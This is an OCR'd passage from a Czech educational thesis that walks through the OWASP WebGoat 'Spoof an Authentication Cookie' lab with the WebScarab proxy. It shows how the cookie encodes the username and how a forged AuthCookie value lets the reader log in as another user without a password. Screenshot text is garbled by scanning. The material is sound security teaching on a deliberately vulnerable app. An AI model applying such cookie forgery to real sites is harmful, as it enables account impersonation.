Concurrency = > NG

Cross-Site Scripting (XSS) l;(l:iz?l(re‘tﬂgn in to your account. See the OWASP admin if you do not have an
Denial of Service % I

Improper Error Handling *Required Fields

Injection Flaws
Insecure Communication
Insecure Configuration
Insecure Storage * d:
Parameter Tampering Password:
Session Management Flaws =

Login

Hijack a Session
Spoof an Authentication Cookie
ASP ECT)

*User Name:

Session Fixation

Web Services

Admin Functions

WAS i | W |
Challenge OWASP Foundation | Project WebGoat | Report Bug

Obrazek 43 — WebGoat, kategorie Session Management Flaws, lekce Spoof an Authentication Cookie,
zobrazeni cookies

(zdroj: vlastni)

Také bude zapotiebi, abychom v aplikaci WebScarab doc¢asn¢ zakazali funkci S nazvem Inject
know cookies into requests, jinak by tato aplikace stale pouzivala své staré cookies a nikoliv
nové. K tomuto nastaveni se dostaneme v aplikaci WebScarab ptes zalozku Proxy a nasledné
podzalozku Miscellaneous (viz nasledujici obrazek).
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File View Tools Help

Extensions rXSS.l'CRLF |/ SessionlD Analysj ipted r Fragments |/ Fuzzer rCompare r Search |
Summary r Messages Manual Request |/ WebServices r Spider

[ Listeners | Manual Edit | Bean Shell

Reveal hidden fields in HTML pages :

Prevent browser from caching content: [

#™hject known cookies into requests >

Get cookies from responses

Obrazek 44 — \WebScarab, cesta k potifebnému tlacitku Inject known cookies into requests

4

(zdroj: vlastni)
Pokud tam tyto zalozky nemame, pouzivame omezenéjsi verzi aplikace. V takovém piipadé

rozklikneme v horni 1isté tlacitko Tools a v zobrazenych moznostech zaSkrtneme tlacitko
s napisem Use full-featured interface, coz miizeme vidét na nasledujicim obrazku.

66



[
]
[o]

File Vi Tools [JHelp
| Summary Proxies
[] Tree Sel Credentials
Url T er Cookie | Scripts Comments
¥ R i i
<"E Use full-featured interface '>
oy
T T T T T T T T T
D+ Date Method Host Path Parameters Status Qrigin Set-Cookie Cookie g
4] Il I [»

Obrazek 45 — WebScarab, kde hledat rozsifené nastaveni aplikace

(zdroj: vlastni)
Pokud mame tyto kroky splnéné, mtizeme v lekci pokra¢ovat. Vyukové prostiedi aplikace

WebGoat po nas dale chce, abychom se pfihlasili pod uzivatelskym jménem webgoat
s heslem webgoat tak, jak mizeme vidét na obrazku pod timto textem.
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Logout @

Spoof an Authentication Cookie

OWASP WebGoat V6.2

Introduction

General
flmcgisssecc%nr&r o Flaws Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect.
Autherticatioﬁw Flaws When you understand the authentication cookie, try changing your identity to alice.

Buffer Overflows

Solution VideosISESSIONID % 1665E330359DA5020FB94F174596376E Restart this Lesson

Code Quality Sign In

Concurrency = Please sign in to your account. See the OWASP admin if you do not have an
Cross-Site Scripting (XSS) account.

Denial of Service % PN

Improper Error Handling Required Fields

Injection Flaws
Insecure Communication

Insecure Configuration *User Name: webgoat
Insecure Storage Pasirids T——
Parameter Tampering . L

Session Management Flaws

Hijack a Session

Login

Spoof an Authentication Cookie

ASPEGT)
Web Services
Admin Functions

A | W | Re
Challenge OWASP Foundation | Project WebGoat | Report Bug

Obrazek 46 — WebGoat, kategorie Session Management Flaws, lekce Spoof an Authentication Cookie,
zadani uzivatelského jména a hesla

(zdroj: vlastni)

Po pfihlaseni obnovime stranku naptiklad klavesovou F5 a v aplikaci se ndm nyni zobrazi
novy udaj a to AuthCookie (viz modré oznaCeni na nasledujicim obrazku). Nyni jsme
overovani pomoci téchto cookies.
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Spoof an Authentication Cookie

OWASP WebGoat V5.2

Introduction
General =
Access Control Flaws =t

AJAX Security CAuthCookle % 65432uhp®
Authentication Flaws
Buffer Overflows
Code Quality
Concurrency
Cross-Site Scripting (XSS) Welcome, webgoat

Denial of Service

Improper Error Handling You have been authenticated with COOKIE
Injection Flaws

Insecure Communication Logout

Insecure Configuration

Insecure Storage Refresh

Parameter Tampering

Session Management Flaws

Hijack a Session ASPEGT)

Spoof an Authentication Cookie Applicstion Senuity Specieion

Solution VideosJSESSIONID % 1665E330359DA5020FB94F174596376E Restart this Lesson

Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect.
When you understand the authentication cookie, try changing your identity to alice.

Session Fixation

Web Services
Admin Functions
Challenge

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 47 — WebGoat, kategorie Session Management Flaws, lekce Spoof an Authentication Cookie,
zobrazeni AuthCookie pro uZivatele webgoat

(zdroj: vlastni)

Dalsi krok, ktery mame ucinit, je odhlaSen se z uzivatelského t¢tu webgoat. Toho dosdhneme
jednoduse kliknutim na tlacitko Logout, které je na nasledujicim obrazku zelené¢ oznacené.

Spoof an Authentication Cookie

OWASP WebGoat V5.2

Introduction

General

Access Control Flaws
AJAX Security
Authentication Flaws
Buffer Overflows

Solution VideosJSESSIONID % 1665E330359DA5020FB94F174596376E Restart this Lesson

AuthCookie ® 65432ubphcfx

Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect.
When you understand the authentication cookie, try changing your identity to alice.

Code Quality

Concurrency

Cross-Site Scripting (XSS) Welcome, webgoat

Denial of Service

Improper Error Handling You have been authenticated with COOKIE

Injection Flaws
Insecure Communication @
Insecure Configuration

Insecure Storage Refresh
Parameter Tampering

Session Management Flaws

Hijack a Session
Spoof an Authentication Cookie

ASPEGT)

Application Securfty Specialists

Session Fixation OWASP Foundation | Project WebGoat | Report Bug

Web Services
Admin Functions
Challenge

Obrazek 48 — WebGoat, kategorie Session Management Flaws, lekce Spoof an Authentication Cookie,
odhlaseni

(zdroj: vlastni)
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Nyni si madme vyzkouset piihlasit se na jiny uzivatelsky ucet s uzivatelskym jménem aspect
a totoznym heslem aspect. To u¢inime obdobné¢, jako kdyz jsme se ptihlasovali na uzivatele
jménem webgoat, akorat pouzijeme jiné piihlaSovaci udaje.

Logout @

Spoof an Authentication Cookie

OWASP WebGoat V5.2

Introduction
General

Access Control Flaws .
AJAX Security < AuthCookie & 65432udfqtbh >

;E‘;E#g_ng.cztriﬂo;ilan-xs Login using the webgoat/webgoat account to see what happens. You may also try aspect/aspect.
y i When you understand the authentication cookie, try changing your identity to alice.

Solution VideosISESSIONID % 1665E330359DA5020FB94F174596376E Restart this Lesson

Code Quality

Concurrency

Cross-Site Scripting (XSS) Welcome, aspect

Denial of Service

Improper Error Handling You have been authenticated with COOKIE
Injection Flaws

Insecure Communication Logout

Insecure Configuration i

Insecure Storage Refresh

Parameter Tampering

Session Management Flaws

Web Services ASPECT
Admin Functions

Challenge " v

OWASP Foundation | Project WebGoat | Report Bug

Obrazek 49 — WebGoat, kategorie Session Management Flaws, lekce Spoof an Authentication Cookie,
zobrazeni AuthCookie uZivatele aspect

(zdroj: vlastni)

Pokud se nyni podivame na zdznam AuthCookie, mizeme si v§imnout, ze jeho hodnota je
pro uzivatele aspect jina, neZz pro uzivatele webgoat. Zatimco uZzivatel webgoat m¢l hodnotu
ubphcefx, tak uzivatel aspect ma hodnotu udfgfb. Jedna se o transpozici pismen abecedy.
KaZzdé pismeno je nahrazeno jeho nastupcem, naptiklad pismeno t bude nahrazeno pismenem
u, pismeno a bude nahrazeno pismenem b. Také se cely tento fetézec obrati, to znamena,
ze jeho prvni pismeno se stane pismenem poslednim a podobné. TakZe pro uzivatelské jméno
Alice bude zaznam v cookies obsahovat obracené uzivatelské jméno ecila.

S Alici budeme pracovat v dal§im kroku této lekce. Nyni se mame pokusit piihlésit jako
uzivatel alice a zachytit tuto Zadost pomoci aplikace WebScarab. Ptfihlasovat se budeme
tentokrat bez hesla. Jakmile v aplikaci WebScarab zachytime zadost pro ptihlaSeni, najdeme
si ve vypisu aplikace WebScarab kolonku Cookie a za session ID dopiSeme AuthCookie
V nasledujicim znéni:

IAuthCookie=65432fdjmb)|

Ve vypise také vidime, Ze Zadost skutecné prichdzi od uzivatele se jménem alice (viz zelené
oznaceni na nasledujicim obrazku) a jedna se o zadost o piihlaSeni (viz modré oznaceni
na nasledujicim obrazku).
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[g,j Edit Request B | = —_—— E=REOE™ >

Intercept requests : Intercept responses: [ |

Parsed | Raw |

Method URL Version
|F'CIST| |hltp:s'.|'locaIhost:BOsWebGoaﬁaltack?Screen:ET&menu:ﬂOO | |HTTF'H.1 |
| Header Value
||Host localhost

||Proxy-Conn.__[keep-alive

Content-le... |37

Cache-Con.. |max-age=0

Authorization |Basic Z3VIc3Q623VIcad=

Accept text/html,applicationfxhtml+xml,applicationfxml;q=0.9.image/webp,**;q=0.8 S
Origin hitp:Mocalhost nse
Uparaden...|1 Delete

User-Agent |Mozilla/a.0 (Windows NT 6.1, WOWG4) AppleWebKit/a37.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/a...
Content-Ty... |applicationfe-www-form-urlencoded

Referer hitp:iflocalhostWebGoat/altack?Screen=27&menu=1700

Accept-Enc... |gzip, deflate, lzma

.. |cs-CZ cs;0=0.8

SESSIOMID=1665E3203500A5020FBA4F 174596378E; AuthCookie=65432fdimb 3

URLEncoded | Text | Hex |

Variable Value
Username alice ¥
Password
SUBMIT Login ¥
Insert
Delete

e A

1
| Accept changes I Cancel changes | Abort request | Cancel ALL intercepts

Obrazek 50 — WebScarab, zachyceny poZadavek pro piihlaseni uZivatele alice

(zdroj: vlastni)

2.14.5 Obrana

Obrana proti kradezi cookies je jednoduchd. Postadi zakazat cookies v internetovém
prohlizeci, ktery pouzivame. Ma to ale své nevyhody, jelikoz zna¢né mnozstvi webovych
stranek vyzaduje povoleni cookies, takze nékteré stranky se ndm viibec nemusi zobrazit.
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3 ZAVER

Cilem prace bylo vytvofit vyukovy material obsahujici deset vyukovych tloh zamétenych
na hrozby webovych stranek podle neziskové organizace OWASP. V teoretické casti byla
predstavena organizace OWASP a jeji aplikace WebGoat, kterd slouzi k vyukovym ucelim
ohledné moznych hrozeb na webovych strankach a aplikacich. Také jsme si predstavili deset

nejvetsich hrozeb pro webové stranky a aplikace podle organizace OWASP. Ukéazali jsme si
deset hlavnich hrozeb i z jinych let.

V praktické ¢asti jsme si pak ukazali deset vybranych vyukovych uloh z aplikace WebGoat
a spole¢né jsme si je prosli. Castym pomocnikem nam pii tom délala aplikace WebScarab,
kterd ndm pomadhala zachytavat rizné pozadavky. Mohli jsme vidét, ze nékteré utoky jsou
relativn€ jednoduché na provedeni a na nauceni. Nesmime vSak zapominat na to, Ze aplikace
WebGoat je timysIné navrzena s bezpe¢nostnimi dirami, abychom si na ni dané utoky mohli
ozkousSet. Pokud bychom tyto Gtoky provadéli na néjaké jiné aplikaci ¢i webové strance, ktera
neni uréena pro vyukové ucely, méli bychom s provedenim utoku pravdépodobné casto
mnohem vétsi praci. Navic bychom vykonavali nezakonnou ¢innost. JelikoZ jsme si ukézali,
jakymi kroky postupuji utocnici a na jaka mista se zaméfuji, vime alespon elementarné, na co
si mame davat pozor, kdyz se pohybujeme na néjaké webové aplikaci ¢i webové strance.

72



4 POUZITA LITERATURA

OWASP Top 10 Privacy Risks Project. Owasp [online]. 2016 [cit. 2016-05-07]. Dostupné z:
https://www.owasp.org/index.php/OWASP_Top_10_ Privacy_Risks_Project#tab=Main

FERSCHMANN, Petr. Bezpe¢nost na webu — piehled Gtokti na webové
aplikace. Zdrojak [online]. 2008 [cit. 2016-05-08]. ISSN 1803-5620. Dostupné z:
https://www.zdrojak.cz/clanky/prehled-utoku-na-webove-aplikace/

HRDINA, Ludék. Deset hlavnich slabin webovych aplikaci. SystemOnLine [online]. 2005
[cit. 2016-05-08]. Dostupné z: http://www.systemonline.cz/clanky/deset-hlavnich-slabin-
webovych-aplikaci.htm

HRDINA, Lud¢k. Hrozby pro bezpecnost webovych aplikaci a

serveru. SystemOnLine [online]. 2010 [cit. 2016-05-08]. Dostupné z:
http://www.systemonline.cz/it-security/hrozby-pro-bezpecnost-webovych-aplikaci-a-
serveru.htm

Skener zranitelnosti webu - Co zjistujeme. Skener webu [online]. 2013 [cit. 2016-05-08].
Dostupné z: https://www.skenerwebu.cz/co_zjistujeme

Category:OWASP Top Ten Project. OWASP [online]. 2013 [cit. 2016-05-08]. Dostupné z:
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

ZAVODSKY, Petr. OWASP: za webové aplikace bezpe&ngjsi. Root [online]. 2010 [cit. 2016-
05-08]. ISSN 1212-8309. Dostupné z: http://www.root.cz/clanky/owasp-za-webove-aplikace-
bezpecnejsi/

ZAVODSKY, Petr. Pozor na pokusy s hackovanim, maZete porusit zakon. Root [online].
2010 [cit. 2016-05-08]. ISSN 1212-8309. Dostupné z: http://www.root.cz/clanky/pozor-na-
pokusy-s-hackovanim-muzete-porusit-zakon/

TICHY, Jan. Cross-site scripting. PHP Guru [online]. 2008 [cit. 2016-05-08]. Dostupné z:
http://www.phpguru.cz/clanky/cross-site-scripting

SQL Injection (Full Paper). Soom [online]. 2008 [cit. 2016-05-08]. ISSN 1804-7270.
Dostupné z: http://www.soom.cz/clanky/1180--SQL-Injection-Full-Paper#sekcell

Backend. Adaptic [online]. [cit. 2016-05-08]. Dostupné z:
http://www.adaptic.cz/znalosti/slovnicek/backend/

Broken Authentication and Session Management. OWASP [online]. 2010 [cit. 2016-05-08].

Dostupné z:
https://www.owasp.org/index.php/Broken_Authentication_and_Session_Management

73



Cookies. Adaptic [online]. [cit. 2016-05-08]. Dostupné z:
http://www.adaptic.cz/znalosti/slovnicek/cookies/

74



